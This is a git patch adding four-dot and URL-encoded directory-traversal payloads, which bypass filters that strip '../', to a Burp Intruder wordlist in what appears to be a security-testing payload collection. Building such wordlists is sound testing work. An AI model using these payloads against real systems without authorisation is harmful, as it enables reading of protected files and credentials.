From 4a4a7dd818116b91bc166145436b0211b286a323 Mon Sep 17 00:00:00 2001
From: TH3L30 <its.mani.brz@gmail.com>
Date: Wed, 15 Jul 2026 04:46:27 +0330
Subject: [PATCH] Add four-dot traversal bypass payloads to deep_traversal.txt

Add ....//, ....\\, and URL-encoded variants to cover filter
normalization bypasses where ../ is stripped but ....// resolves
to a parent directory traversal.

Co-authored-by: Cursor <cursoragent@cursor.com>
---
 .../Intruder/deep_traversal.txt               | 25 +++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/Directory Traversal/Intruder/deep_traversal.txt b/Directory Traversal/Intruder/deep_traversal.txt
index 2912be9..b5ed48b 100644
--- a/Directory Traversal/Intruder/deep_traversal.txt	
+++ b/Directory Traversal/Intruder/deep_traversal.txt	
@@ -6,6 +6,31 @@
 ../../../../../../{FILE}
 ../../../../../../../{FILE}
 ../../../../../../../../{FILE}
+....//{FILE}
+....//....//{FILE}
+....//....//....//{FILE}
+....//....//....//....//{FILE}
+....//....//....//....//....//{FILE}
+....\\{FILE}
+....\\....\\{FILE}
+....\\....\\....\\{FILE}
+....\\....\\....\\....\\{FILE}
+....\\....\\....\\....\\....\\{FILE}
+....%2f%2f{FILE}
+....%2f%2f....%2f%2f{FILE}
+....%2f%2f....%2f%2f....%2f%2f{FILE}
+....%2f%2f....%2f%2f....%2f%2f....%2f%2f{FILE}
+....%2f%2f....%2f%2f....%2f%2f....%2f%2f....%2f%2f{FILE}
+%2e%2e%2e%2e%2f%2f{FILE}
+%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
+%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
+%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
+%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
+%2e%2e%2e%2e//{FILE}
+%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
+%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
+%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
+%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
 ..;/{FILE}
 ..;/..;/{FILE}
 ..;/..;/..;/{FILE}